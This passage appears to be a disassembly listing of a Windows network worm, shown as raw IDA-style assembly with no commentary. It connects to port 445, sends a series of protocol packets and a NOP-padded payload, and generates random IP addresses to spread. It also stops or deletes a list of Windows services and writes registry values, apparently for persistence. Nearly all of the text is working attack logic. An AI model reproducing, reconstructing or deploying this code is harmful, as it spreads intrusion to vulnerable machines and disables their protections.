= dword ptr -54h var_50 = byte ptr -50h var_4F = byte ptr -4Fh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 89F4h call sub_4406AD push ebx push esi push edi mov [ebp+var_3054], 1 mov [ebp+var_89F0], 1 lea edi, [ebp+var_89E0] lea esi, loc_4049EE+2 movsd movsd and [ebp+var_89F4], 0 mov [ebp+var_89E2], 1BDh push 0 push 1 push 2 call sub_440625 mov [ebp+var_54], eax cmp eax, 0FFFFFFFFh jz loc_43FDC7 mov eax, [ebp+arg_0] mov [ebp+var_89EC], eax push eax call sub_4405E9 push 1Dh push eax lea edi, [ebp+var_6900] push edi call sub_4407C5 lea eax, [ebp+var_6900] push eax push offset sub_404D5A lea eax, [ebp+var_7C] push eax call sub_440951 add esp, 0Ch xor ebx, ebx loc_43F802: ; CODE XREF: sub_43F771+A2j mov dl, [ebp+ebx+var_7C] mov [ebp+ebx*2+var_50], dl mov [ebp+ebx*2+var_4F], 0 inc ebx cmp ebx, 28h jl short loc_43F802 push 60h push offset sub_404525 lea eax, [ebp+var_303C] push eax call sub_440915 lea eax, [ebp+var_7C] push eax call sub_4407D1 mov edi, eax shl edi, 1 push edi lea edi, [ebp+var_50] push edi lea edi, [ebp+var_300C] push edi call sub_440915 lea eax, [ebp+var_7C] push eax call sub_4407D1 push 9 push 40457Ch mov edi, eax shl edi, 1 lea edi, [ebp+edi+var_300D] push edi call sub_440915 lea eax, [ebp+var_7C] push eax call sub_4407D1 mov edx, eax movsx edi, dl shl edi, 1 add edi, 34h mov edx, edi mov [ebp+var_403A], dl push 1 lea eax, [ebp+var_403A] push eax lea eax, [ebp+var_3039] push eax call sub_440915 lea eax, [ebp+var_7C] push eax call sub_4407D1 mov edx, eax movsx edi, dl shl edi, 1 add edi, 9 mov edx, edi mov [ebp+var_89E3], dl push 1 lea eax, [ebp+var_89E3] push eax lea eax, [ebp+var_300F] push eax call sub_440915 mov eax, [ebp+arg_4] mov [ebp+var_3058], eax push 0E29h push 31h lea eax, [ebp+var_4039] push eax call sub_440921 add esp, 48h push 10h lea eax, [ebp+var_304C] push eax call sub_4407AD mov [ebp+var_304C], 2 movsx eax, [ebp+var_89E2] movzx eax, ax push eax call sub_4405D1 mov edi, eax mov [ebp+var_304A], di mov eax, [ebp+arg_0] mov [ebp+var_3048], eax push 10h lea eax, [ebp+var_304C] push eax push [ebp+var_54] call sub_4405AD cmp eax, 0FFFFFFFFh jnz short loc_43F944 mov [ebp+var_3054], 2 jmp loc_43FDBF ; --------------------------------------------------------------------------- loc_43F944: ; CODE XREF: sub_43F771+1C2j push 64h call sub_4407B9 push 0 push 89h push 404313h push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 push 0 push 0A8h push 40439Dh push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 push 0 push 0DEh push 404446h push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 mov eax, [ebp+var_80] cmp eax, 0FFFFFFFFh jz short loc_43FA1E cmp eax, 46h jge short loc_43FA23 loc_43FA1E: ; CODE XREF: sub_43F771+2A6j jmp loc_43FDB5 ; --------------------------------------------------------------------------- loc_43FA23: ; CODE XREF: sub_43F771+2ABj lea eax, [ebp+var_2F83] mov [ebp+var_89E8], eax cmp byte ptr [eax], 31h setnz al and eax, 1 mov [ebp+var_3050], eax jz loc_43FB37 push 0DACh push 90h lea eax, [ebp+var_2987] push eax call sub_440921 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_21A3] push eax call sub_440915 push [ebp+arg_8] push [ebp+var_3058] lea eax, [ebp+var_2193] push eax call sub_440915 push 4 push 404D55h lea eax, [ebp+var_1E6F] push eax call sub_440915 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_1E6B] push eax call sub_440915 push [ebp+var_3058] call sub_4407D1 push eax push [ebp+var_3058] lea edi, [ebp+var_1E5F] push edi call sub_440915 add esp, 48h xor ebx, ebx loc_43FADF: ; CODE XREF: sub_43F771+38Bj mov dl, [ebp+ebx+var_2987] mov [ebp+ebx*2+var_1BDA], dl mov [ebp+ebx*2+var_1BD9], 0 inc ebx cmp ebx, 0DACh jl short loc_43FADF mov [ebp+var_82], 0 mov [ebp+var_81], 0 push 1C52h push 31h lea eax, [ebp+var_89D8] push eax call sub_440921 push 1C52h push 31h lea eax, [ebp+var_6112] push eax call sub_440921 add esp, 18h jmp short loc_43FB99 ; --------------------------------------------------------------------------- loc_43FB37: ; CODE XREF: sub_43F771+2CDj push 7D0h push 90h lea eax, [ebp+var_68E2] push eax call sub_440921 push [ebp+var_3058] call sub_4407D1 push eax push [ebp+var_3058] lea edi, [ebp+var_6842] push edi call sub_440915 lea eax, [ebp+var_89E0] push eax call sub_4407D1 push eax lea edi, [ebp+var_89E0] push edi lea edi, [ebp+var_6126] push edi call sub_440915 add esp, 24h mov eax, dword ptr ds:loc_404933+5 mov [ebp+var_6136], eax loc_43FB99: ; CODE XREF: sub_43F771+3C4j push 0 movsx eax, [ebp+var_403A] add eax, 4 push eax lea eax, [ebp+var_303C] push eax push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 push 0 push 68h push 404586h push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 push 0 push 0A0h push 4045EFh push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 cmp [ebp+var_3050], 0 jz loc_43FD41 push 68h push offset sub_40479E lea eax, [ebp+var_89D8] push eax call sub_440915 push 1B5Ah lea eax, [ebp+var_1BDA] push eax lea eax, [ebp+var_8970] push eax call sub_440915 push 70h push 404807h lea eax, [ebp+var_6112] push eax call sub_440915 push 0A5Eh lea eax, [ebp+var_B46] push eax lea eax, [ebp+var_60A2] push eax call sub_440915 push 84h push offset sub_404878 lea eax, [ebp+var_55DE] push eax call sub_440915 add esp, 3Ch push 0 push 10FCh lea eax, [ebp+var_89D8] push eax push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_4407B9 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_440601 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FDB5 push 0 push 0FDCh lea eax, [ebp+var_6112] push eax push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short loc_43FDA7 jmp short loc_43FDA7 ; --------------------------------------------------------------------------- loc_43FD41: ; CODE XREF: sub_43F771+4FAj push 7Ch push offset sub_404690 lea eax, [ebp+var_4039] push eax call sub_440915 push 7D0h lea eax, [ebp+var_68E2] push eax lea eax, [ebp+var_3FBD] push eax call sub_440915 push 90h push offset sub_40470D lea eax, [ebp+var_37ED] push eax call sub_440915 add esp, 24h mov [ebp+var_3342], 0 push 0 push 0CF8h lea eax, [ebp+var_4039] push eax push [ebp+var_54] call sub_44060D cmp eax, 0FFFFFFFFh jnz short $+2 loc_43FDA7: ; CODE XREF: sub_43F771+5CCj ; sub_43F771+5CEj push 64h call sub_4407B9 and [ebp+var_3054], 0 loc_43FDB5: ; CODE XREF: sub_43F771+216j ; sub_43F771+258j ... push 2 push [ebp+var_54] call sub_440619 loc_43FDBF: ; CODE XREF: sub_43F771+1CEj push [ebp+var_54] call sub_4405A1 loc_43FDC7: ; CODE XREF: sub_43F771+53j mov eax, [ebp+var_3054] pop edi pop esi pop ebx leave retn sub_43F771 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FDD2 proc near ; CODE XREF: .data:loc_43FE46p var_32 = byte ptr -32h push ebp mov ebp, esp sub esp, 34h push esi push edi push 31h lea eax, [ebp+var_32] push eax call sub_4405C5 cmp eax, 0FFFFFFFFh jnz short loc_43FDEE xor eax, eax jmp short loc_43FE08 ; --------------------------------------------------------------------------- loc_43FDEE: ; CODE XREF: sub_43FDD2+16j lea eax, [ebp+var_32] push eax call sub_4405B9 mov edi, eax or edi, edi jnz short loc_43FE01 xor eax, eax jmp short loc_43FE08 ; --------------------------------------------------------------------------- loc_43FE01: ; CODE XREF: sub_43FDD2+29j mov eax, [edi+0Ch] mov esi, [eax] mov eax, [esi] loc_43FE08: ; CODE XREF: sub_43FDD2+1Aj ; sub_43FDD2+2Dj pop edi pop esi leave retn sub_43FDD2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 13Ch push ebx push esi push edi call sub_440741 push eax call sub_44095D mov esi, 254h mov eax, esi add eax, 0Ah push eax push 0 call sub_44077D mov ebx, eax push esi push offset sub_4040BF push ebx call sub_440915 add esp, 10h loc_43FE46: ; CODE XREF: .data:0043FE60j ; .data:0043FE9Aj ... call sub_43FDD2 mov [ebp-10Ch], eax or eax, eax jnz short loc_43FE62 push 384h call sub_4408FD pop ecx jmp short loc_43FE46 ; --------------------------------------------------------------------------- loc_43FE62: ; CODE XREF: .data:0043FE53j mov al, [ebp-10Ch] mov [ebp-111h], al mov al, [ebp-10Bh] mov [ebp-112h], al mov al, [ebp-10Ah] mov [ebp-135h], al cmp byte ptr [ebp-111h], 7Fh jnz short loc_43FE9C push 384h call sub_4408FD pop ecx jmp short loc_43FE46 ; --------------------------------------------------------------------------- loc_43FE9C: ; CODE XREF: .data:0043FE8Dj lea eax, [ebp-130h] push eax call sub_43F670 push 0 call sub_4408FD add esp, 8 call sub_440939 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-134h], dl call sub_440939 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-131h], dl call sub_440939 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-132h], dl call sub_440939 mov ecx, 0Ah cdq idiv ecx mov [ebp-133h], dl mov al, [ebp-133h] cmp al, 5 jnb short loc_43FF39 mov al, [ebp-112h] mov [ebp-134h], al mov al, [ebp-133h] cmp al, 3 jnb short loc_43FF39 mov al, [ebp-135h] mov [ebp-131h], al loc_43FF39: ; CODE XREF: .data:0043FF15j ; .data:0043FF2Bj cmp byte ptr [ebp-111h], 0Ah jnz short loc_43FF6E movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax movzx eax, byte ptr [ebp-134h] push eax push offset sub_404D49 lea eax, [ebp-130h] push eax call sub_440951 add esp, 14h loc_43FF6E: ; CODE XREF: .data:0043FF40j movzx eax, byte ptr [ebp-111h] cmp eax, 0ACh jnz short loc_43FFC8 mov al, [ebp-112h] cmp al, 0Fh jbe short loc_43FFC8 cmp al, 21h jnb short loc_43FFC8 call sub_440939 movzx edi, byte ptr [ebp-132h] push edi movzx edi, byte ptr [ebp-131h] push edi mov edx, eax and edx, 8000000Fh jge short loc_43FFAE dec edx or edx, 0FFFFFFF0h inc edx loc_43FFAE: ; CODE XREF: .data:0043FFA7j mov edi, edx add edi, 10h push edi push 404D3Ch lea edi, [ebp-130h] push edi call sub_440951 add esp, 14h loc_43FFC8: ; CODE XREF: .data:0043FF7Aj ; .data:0043FF84j ... movzx eax, byte ptr [ebp-111h] cmp eax, 0C0h jnz short loc_440008 movzx eax, byte ptr [ebp-112h] cmp eax, 0A8h jnz short loc_440008 movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax push 404D2Eh lea eax, [ebp-130h] push eax call sub_440951 add esp, 10h loc_440008: ; CODE XREF: .data:0043FFD4j ; .data:0043FFE2j lea eax, [ebp-130h] push eax call sub_4405DD cmp [ebp-10Ch], eax jz loc_43FE46 push dword ptr [ebp-10Ch] call sub_4405E9 movzx edi, word ptr ds:loc_404094 push edi push eax push 404D27h lea edi, [ebp-0FFh] push edi call sub_440951 add esp, 10h loc_440048: ; CODE XREF: .data:00440071j lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_440051: ; CODE XREF: .data:00440056j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440051 cmp eax, 19h jz short loc_440073 push 404D25h lea eax, [ebp-0FFh] push eax call sub_440969 add esp, 8 jmp short loc_440048 ; --------------------------------------------------------------------------- loc_440073: ; CODE XREF: .data:0044005Bj lea ecx, [ebp-0FFh] or eax, 0FFFFFFFFh loc_44007C: ; CODE XREF: .data:00440081j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_44007C push eax lea edi, [ebp-0FFh] push edi mov edi, ebx add edi, 9 push edi call sub_440915 add esp, 0Ch lea eax, [ebp-130h] push eax call sub_4405DD push esi push ebx push eax call sub_43F771 add esp, 0Ch mov [ebp-13Ch], eax push 0 call sub_4408FD add esp, 4 jmp loc_43FE46 ; --------------------------------------------------------------------------- db 5Fh, 5Eh, 5Bh dd 4C2C9h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4400CC proc near ; CODE XREF: .data:0044010Ep var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_44074D cmp eax, 80000000h jb short loc_4400E3 mov eax, 3Ch jmp short locret_440104 ; --------------------------------------------------------------------------- loc_4400E3: ; CODE XREF: sub_4400CC+Ej push 0 lea eax, [ebp+var_4] push eax call sub_440631 and [ebp+var_4], 2 cmp [ebp+var_4], 2 jnz short loc_4400FF mov eax, 12Ch jmp short locret_440104 ; --------------------------------------------------------------------------- loc_4400FF: ; CODE XREF: sub_4400CC+2Aj mov eax, 64h locret_440104: ; CODE XREF: sub_4400CC+15j ; sub_4400CC+31j leave retn sub_4400CC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push eax push ebx push esi push edi call sub_4400CC mov ebx, eax lea eax, [ebp-4] push eax push 0 push 0 push offset sub_401565 push 0 push 0 call sub_4407DD push eax call sub_440735 xor esi, esi jmp short loc_440167 ; --------------------------------------------------------------------------- loc_440135: ; CODE XREF: .data:00440169j lea eax, [ebp-4] push eax push 0 push 0 push 401E23h push 0 push 0 call sub_4407DD push eax call sub_440735 mov eax, 0EA60h xor edx, edx div ebx mov [ebp-8], eax mov edi, eax push eax call sub_4408FD pop ecx inc esi loc_440167: ; CODE XREF: .data:00440133j cmp esi, ebx jb short loc_440135 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440172 proc near ; CODE XREF: sub_440441+ACp var_388 = dword ptr -388h var_384 = dword ptr -384h var_380 = dword ptr -380h var_37C = dword ptr -37Ch var_378 = dword ptr -378h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_16C = dword ptr -16Ch var_168 = byte ptr -168h var_164 = dword ptr -164h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 388h push ebx push esi push edi lea edi, [ebp+var_16C] lea esi, loc_404A2F+9 mov ecx, 51h rep movsd and [ebp+var_24], 0 loc_440195: ; CODE XREF: sub_440172+211j push 0F003Fh push 0 push 0 call sub_440885 mov [ebp+var_28], eax or eax, eax jz loc_44037C push 0F003Fh mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_370], eax push [ebp+eax+var_16C] push [ebp+var_28] call sub_440891 mov ebx, eax or eax, eax jz loc_440374 lea eax, [ebp+var_20] push eax push 1 push ebx call sub_44086D mov [ebp+var_4], eax and [ebp+var_4], 0 loc_4401ED: ; CODE XREF: sub_440172+A4j lea eax, [ebp+var_20] push eax push 4 push ebx call sub_44086D or eax, eax jz short loc_440203 cmp [ebp+var_1C], 1 jnz short loc_440205 loc_440203: ; CODE XREF: sub_440172+89j jmp short loc_440218 ; --------------------------------------------------------------------------- loc_440205: ; CODE XREF: sub_440172+8Fj push 3E8h call sub_4407B9 inc [ebp+var_4] cmp [ebp+var_4], 0Ah jb short loc_4401ED loc_440218: ; CODE XREF: sub_440172:loc_440203j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_374], eax cmp [ebp+eax+var_168], 0 jz short loc_440236 push ebx call sub_440879 loc_440236: ; CODE XREF: sub_440172+BCj push ebx call sub_440861 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_378], eax cmp [ebp+eax+var_164], 0 jz loc_440374 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_37C], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 0 jnz loc_4402FC push 0 push 18h lea eax, [ebp+var_36C] push eax push 0 call sub_44063D or eax, eax jz short loc_4402FC lea ecx, [ebp+var_36C] or eax, 0FFFFFFFFh loc_440295: ; CODE XREF: sub_440172+128j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_440295 mov [ebp+var_4], eax cmp [ebp+var_4], 1 jbe short loc_4402C9 mov eax, [ebp+var_4] sub eax, 1 cmp [ebp+eax+var_36C], 5Ch jz short loc_4402C9 push offset sub_404BA0 lea eax, [ebp+var_36C] push eax call sub_440969 add esp, 8 loc_4402C9: ; CODE XREF: sub_440172+131j ; sub_440172+141j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] lea eax, [ebp+var_36C] push eax call sub_440969 add esp, 8 lea eax, [ebp+var_36C] push eax call sub_4407E9 loc_4402FC: ; CODE XREF: sub_440172+FEj ; sub_440172+118j mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_380], eax mov eax, [ebp+eax+var_164] cmp byte ptr [eax], 1 jnz short loc_440374 lea eax, [ebp+var_4] push eax push 20006h push 0 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_384], eax mov edx, [ebp+eax+var_164] push dword ptr [edx+4] mov eax, [ebp+eax+var_164] push dword ptr [eax+0Ch] call sub_4408C1 or eax, eax jnz short loc_440374 mov eax, 0Ch mul [ebp+var_24] mov [ebp+var_388], eax mov eax, [ebp+eax+var_164] push dword ptr [eax+8] push [ebp+var_4] call sub_44089D push [ebp+var_4] call sub_4408B5 loc_440374: ; CODE XREF: sub_440172+62j ; sub_440172+E0j ... push [ebp+var_28] call sub_440861 loc_44037C: ; CODE XREF: sub_440172+36j inc [ebp+var_24] cmp [ebp+var_24], 1Bh jb loc_440195 pop edi pop esi pop ebx leave retn 4 sub_440172 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push edi mov eax, [ebp+0Ch] cmp eax, 10h jz short loc_44041E jg short loc_4403AB cmp eax, 2 jz short loc_440415 jmp loc_44042B ; --------------------------------------------------------------------------- loc_4403AB: ; CODE XREF: .data:0044039Fj cmp eax, 113h jnz short loc_44042B and dword ptr [ebp-4], 0 mov dword ptr [ebp-8], 4 lea eax, [ebp-10h] push eax lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push 404B81h push 404B85h push 80000001h call sub_43F3B0 mov eax, dword ptr ds:loc_404094+4 mov [ebp-0Ch], eax add [ebp-4], eax push 4 push 4 lea eax, [ebp-4] push eax push 404B81h push 404B85h push 80000001h call sub_43F345 add esp, 30h push 0 push 404098h call sub_440765 jmp short loc_44043C ; --------------------------------------------------------------------------- loc_440415: ; CODE XREF: .data:004403A4j push 0 call sub_440831 jmp short loc_44043C ; --------------------------------------------------------------------------- loc_44041E: ; CODE XREF: .data:0044039Dj push dword ptr ds:loc_402FFE+2 call sub_440849 jmp short loc_44043C ; --------------------------------------------------------------------------- loc_44042B: ; CODE XREF: .data:004403A6j ; .data:004403B0j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_440855 loc_44043C: ; CODE XREF: .data:00440413j ; .data:0044041Cj ... pop edi leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440441 proc near ; CODE XREF: sub_440649+5Cp var_2DC = byte ptr -2DCh var_2D8 = byte ptr -2D8h var_148 = dword ptr -148h var_143 = byte ptr -143h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2DCh push edi mov edi, [ebp+arg_0] push [ebp+arg_8] push 403010h call sub_4406CD push 404B7Ch lea eax, [ebp+var_143] push eax call sub_440951 and [ebp+var_44], 0 lea eax, loc_4023A3+4 mov [ebp+var_40], eax and [ebp+var_3C], 0 and [ebp+var_38], 0 mov [ebp+var_34], edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_28], 0 and [ebp+var_24], 0 lea eax, [ebp+var_143] mov [ebp+var_20], eax lea eax, [ebp+var_44] push eax call sub_440801 push 0 push edi push 0 push 0 push 0 push 0 push 0 push 0 push 0CF0000h push 404D25h lea eax, [ebp+var_143] push eax push 0 call sub_44083D mov dword ptr ds:loc_402FFE+2, eax call sub_440711 push eax call sub_43F320 lea eax, [ebp+var_2D8] push eax push 2 call sub_44057D push 0 call sub_440172 lea eax, [ebp+var_2DC] push eax push 0 push 0 push offset sub_40211D push 0 push 0 call sub_4407DD push eax call sub_440735 and [ebp+var_148], 0 push 4 push 4 lea eax, [ebp+var_148] push eax push 404B81h push 404B85h push 80000001h call sub_43F345 add esp, 24h push 0 push 2710h push 1 push dword ptr ds:loc_402FFE+2 call sub_4407F5 jmp short loc_440562 ; --------------------------------------------------------------------------- loc_440550: ; CODE XREF: sub_440441+132j lea eax, [ebp+var_1C] push eax call sub_440819 lea eax, [ebp+var_1C] push eax call sub_440825 loc_440562: ; CODE XREF: sub_440441+10Dj push 0 push 0 push 0 lea eax, [ebp+var_1C] push eax call sub_44080D or eax, eax jnz short loc_440550 pop edi leave retn 10h sub_440441 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44057D proc near ; CODE XREF: sub_440441+A5p jmp dword ptr ds:loc_40524C sub_44057D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440589 proc near ; CODE XREF: .data:0043F647p jmp dword ptr ds:loc_405250 sub_440589 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440595 proc near ; CODE XREF: .data:0043F614p jmp dword ptr ds:loc_405251+3 sub_440595 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405A1 proc near ; CODE XREF: .data:0043F542p ; sub_43F771+651p jmp dword ptr ds:loc_405256+2 sub_4405A1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405AD proc near ; CODE XREF: sub_43F771+1BAp jmp dword ptr ds:loc_40525B+1 sub_4405AD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405B9 proc near ; CODE XREF: sub_43FDD2+20p jmp dword ptr ds:loc_405260 sub_4405B9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405C5 proc near ; CODE XREF: sub_43FDD2+Ep jmp dword ptr ds:loc_405262+2 sub_4405C5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405D1 proc near ; CODE XREF: .data:0043F602p ; sub_43F771+197p jmp dword ptr ds:loc_405267+1 sub_4405D1 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405DD proc near ; CODE XREF: .data:0044000Fp ; .data:004400A0p jmp dword ptr ds:loc_40526C sub_4405DD endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405E9 proc near ; CODE XREF: sub_43F771+63p ; .data:00440026p jmp dword ptr ds:loc_40526C+4 sub_4405E9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4405F5 proc near ; CODE XREF: .data:0043F632p jmp dword ptr ds:loc_405271+3 sub_4405F5 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440601 proc near ; CODE XREF: .data:0043F422p ; sub_43F771+20Bp ... jmp dword ptr ds:loc_405278 sub_440601 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44060D proc near ; CODE XREF: .data:0043F474p ; .data:0043F4B0p ... jmp dword ptr ds:loc_40527C sub_44060D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440619 proc near ; CODE XREF: .data:0043F53Ap ; sub_43F771+649p jmp dword ptr ds:loc_405280 sub_440619 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440625 proc near ; CODE XREF: .data:0043F5CBp ; sub_43F771+48p jmp dword ptr ds:loc_405284 sub_440625 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440631 proc near ; CODE XREF: sub_4400CC+1Dp jmp dword ptr ds:loc_405290 sub_440631 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44063D proc near ; CODE XREF: sub_440172+111p jmp dword ptr ds:loc_40529A+2 sub_44063D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_440649 proc near ; CODE XREF: .data:0043F268p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_440705 mov edi, eax cmp byte ptr [edi], 22h jnz short loc_44067D push 22h mov eax, edi inc eax push eax call sub_440975 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_440698 mov edi, eax inc edi jmp short loc_440675 ; --------------------------------------------------------------------------- loc_440674: ; CODE XREF: sub_440649+2Fj inc edi loc_440675: ; CODE XREF: sub_440649+29j cmp byte ptr [edi], 20h jz short loc_440674 jmp short loc_440698 ; --------------------------------------------------------------------------- loc_44067C: ; CODE XREF: sub_440649+3Ej inc edi loc_44067D: ; CODE XREF: sub_440649+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_440689 cmp eax, 20h jnz short loc_44067C loc_440689: ; CODE XREF: sub_440649+39j jmp short loc_44068C ; --------------------------------------------------------------------------- loc_44068B: ; CODE XREF: sub_440649+4Dj inc edi loc_44068C: ; CODE XREF: sub_440649:loc_440689j movsx eax, byte ptr [edi] or eax, eax jz short loc_440698 cmp eax, 20h jz short loc_44068B loc_440698: ; CODE XREF: sub_440649+24j ; sub_440649+31j ... push 0 call sub_440729 push 1 push edi push 0 push eax call sub_440441 pop edi leave retn sub_440649 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4406AD proc near ; CODE XREF: sub_43F771+8p var_FFC = dword ptr -0FFCh pop ecx loc_4406AE: ; CODE XREF: sub_4406AD+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_4406AE sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_4406AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_4406CD proc near ; CODE XREF: sub_440441+15p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_4406CD endp ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4406F9 proc near ; CODE XREF: .data:0043F588p jmp dword ptr ds:loc_4052A6+2 sub_4406F9 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B 